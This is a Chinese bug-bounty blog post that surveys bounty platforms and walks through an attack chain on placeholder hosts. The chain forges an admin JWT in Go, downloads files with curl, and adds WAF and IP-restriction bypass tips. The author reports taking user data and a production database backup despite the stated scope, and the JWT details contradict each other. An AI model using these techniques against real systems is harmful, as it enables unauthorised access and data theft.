一、从一个漏洞赏金的「意外斩获」开始

前段时间,我在某个漏洞赏金平台提交一个目标的漏洞时,意外发现了一个隐藏的人为配置错误,最终导致了严重的数据泄露。这次的经历让我意识到,不同平台上的漏洞赏金计划不仅仅是测试公司安全的窗口,更是黑客与安全研究员的练兵场。本文围绕漏洞赏金平台,从技术、场景和经验三方面,带你了解如何高效挖掘漏洞。

在一个简单的 JWT token 验证逻辑绕过案例中,我通过手动测试的方式发现了目标系统对 alg 参数处理不当,允许无签名的 JWT 被验证为合法用户。这次的提交直接让我拿到了 2000 美金的赏金。这个案例也让我开始反思:漏洞赏金平台的价值不仅仅是金钱回报,更是技术积累和实战经验的沉淀。

二、0x01 漏洞赏金的江湖:平台与玩法

要在漏洞赏金的战场上占据一席之地,首先需要熟悉各个平台的规则和运作模式。不同的平台有不同的重心,有些偏向 Web 应用,有些则专注于移动端,理解它们的差异是成功的第一步。

常见漏洞赏金平台一览

HackerOne

这是目前最知名的漏洞赏金平台之一,很多国际大厂(如 Google、Uber)都选择 HackerOne 作为自己的 Bug Bounty 平台。这里的赏金高,但竞争也非常激烈,你需要超越一大批顶级黑客,才能赚到丰厚的收益。

Bugcrowd

Bugcrowd 同样收录了很多知名企业的漏洞赏金计划,但其规则更加灵活,部分项目允许匿名提交。此外,Bugcrowd 还会提供一些私人项目邀请,专门针对经验丰富的研究员。

Synack

Synack 与其他平台不同,它更像一个「精英俱乐部」,需要通过严格的审核才能加入。Synack 更关注目标的深度测试,因此平台内部的竞争压力相对较小。

国内平台

在国内,漏洞盒子、补天、知道创宇乌云等平台也是渗透测试者的好去处。它们更适合关注国内企业安全的研究员,部分企业甚至会用漏洞奖励作为招聘渗透测试工程师的渠道。

黑客示意图

如何选择平台与项目

根据我的经验,新手可以先从国内较小的平台练手,熟悉漏洞提交的流程和规则;而有一定经验的研究员则可以直奔 HackerOne 或 Bugcrowd 等国际平台,提升自己的技术水平。

三、0x02 攻击链的构造:用案例说话

黑客示意图

一个完整的漏洞赏金挖掘过程,就像一场小型的红队行动。下面以某次漏洞挖掘为例,展示如何通过一条完整的攻击链,逐步深入目标系统。

目标背景

某知名在线教育平台托管在 HackerOne 上,公开了部分接口供研究员测试。平台的规定是:攻击仅限于测试子域名,不得影响实际用户。通过信息收集,我锁定了一个开发环境的子域名 dev-api.example.com

黑客示意图

攻击链步骤

1. 信息收集的艺术

核心目标:获取尽可能多的目标信息 我们从子域名 dev-api.example.com 入手,使用工具 subfinderamass 进行子域名爆破。结果发现了一个隐藏的接口 /internal/config。用 curl 测试后,返回了大量的敏感信息,包括数据库配置和 JWT 秘钥。

<pre><code class="language-shell"># 使用 amass 枚举目标子域名 amass enum -d example.com -o subdomains.txt

测试发现的子域名是否存活

cat subdomains.txt | xargs -I{} curl -s -o /dev/null -w &quot;%{http_code} {}&quot; {}</code></pre>

通过枚举,我们发现了其他几个有趣的子域名,比如 dev-files.example.comstaging.example.com。这些都可能是潜在的攻击面。

2. 漏洞触发点:JWT 验证绕过

在测试了 /internal/config 后,我发现目标系统使用了 JWT 作为用户认证方式。然而,在解码 JWT 的过程中,我注意到 alg 参数被设置为 HS256,而 API 服务器并未验证签名的合法性。于是可以通过如下方式构造伪造的 JWT:

<pre><code class="language-go">package main

import ( &quot;encoding/base64&quot; &quot;fmt&quot; )

func main() { // 构造一个伪造的 JWT header := base64.StdEncoding.EncodeToString([]byte({&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;})) payload := base64.StdEncoding.EncodeToString([]byte({&quot;user_id&quot;:&quot;admin&quot;})) signature := &quot;fake_signature&quot;

// 拼接最终的伪造 token fakeJWT := fmt.Sprintf(&quot;%s.%s.%s&quot;, header, payload, signature) fmt.Println(fakeJWT) }</code></pre>

将伪造的 token 注入到接口中,即可以管理员身份访问后台 API,成功下载了一部分用户数据。

3. 权限提升与横向移动

接下来的目标是获取更多敏感数据。通过在后台 API 中找到的另一个接口 /admin/files/export,我尝试将已泄露的 JWT 用于其他子域名。结果发现,dev-files.example.com 上的权限校验逻辑同样存在问题,允许任意下载敏感文件。

<pre><code class="language-shell"># 使用伪造的 JWT 进行文件下载 curl -H &quot;Authorization: Bearer &lt;fakeJWT&gt;&quot; https://dev-files.example.com/files/download?id=123</code></pre>

黑客示意图

最终,我下载到了一个名为 production_db_backup.sql 的数据库备份文件。这一步直接触达了平台的核心数据资产。

四、0x03 实战中的绕过与对抗

攻击中遇到的防御措施,往往是研究员面临的主要难点。以下是我在漏洞赏金中总结的几条绕过技巧:

绕过 WAF

针对目标 WAF 的规则,可以通过以下方式进行绕过:

  • 使用 Burp Suite 修改请求的 header,添加一些无害的分隔符(如 ;,);
  • 对 payload 进行双层 URL 编码;
  • 利用 JSON 格式的 payload 绕过黑名单检查。

绕过 IP 限制

对于限制 IP 的目标,可以尝试使用以下方法:

  • 使用 Tor 浏览器或代理池切换 IP;
  • 利用云服务(如 AWS、GCP)生成大量请求出口地址;
  • 在测试中伪造来源(如 X-Forwarded-For header)。

五、0x04 戏里戏外:漏洞赏金的经验之谈

走过了不少漏洞赏金平台,我想和大家分享一些经验:

  1. 多学习国外的案例分析
  2. 国外的社区(如 HackerOne 报告)往往有丰富的案例,研究这些案例可以帮助你从新的视角发现漏洞。

  1. 工具不是万能的,靠手工测试才能深入
  2. 很多时候,真正的漏洞不是通过工具扫描来的,而是从一些细微的逻辑错误中挖掘出来的。

  1. 耐心与细致是成功的关键
  2. 挖漏洞的过程往往枯燥且漫长,很多人都输在了持久力上。

六、0x05 我的工具库:助你事半功倍

最后,分享一些常用工具和脚本,帮助大家更高效地进行漏洞赏金测试:

1. 子域名与信息收集

  • Subfinder:高效的子域名枚举工具;
  • Amass:深度子域名扫描神器;
  • Aquatone:域名信息可视化工具。

2. 漏洞扫描与利用

  • Burp Suite:强大的 Web 漏洞测试工具;
  • Nuclei:基于模板快速扫描已知漏洞;
  • Metasploit:经典的漏洞利用框架。

3. 定制化脚本工具

偶尔,定制化的工具能让你事半功倍。下面是一个简单的 Go 脚本,用于批量测试 API 的响应状态:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net/http&quot; )

func main() { urls := []string{&quot;https://example1.com&quot;, &quot;https://example2.com&quot;} for _, url := range urls { resp, err := http.Get(url) if err != nil { fmt.Printf(&quot;Error fetching %s: %v\n&quot;, url, err) continue } fmt.Printf(&quot;URL: %s, Status: %d\n&quot;, url, resp.StatusCode) resp.Body.Close() } }</code></pre>

七、红蓝对抗的修炼之路

漏洞赏金平台不仅是获取经济回报的途径,更是学习和成长的绝佳机会。从基础工具到手工分析,从绕过到对抗,每一次挖掘都是一次实战演练。希望今天分享的内容,能让每一位渗透测试爱好者更上一层楼。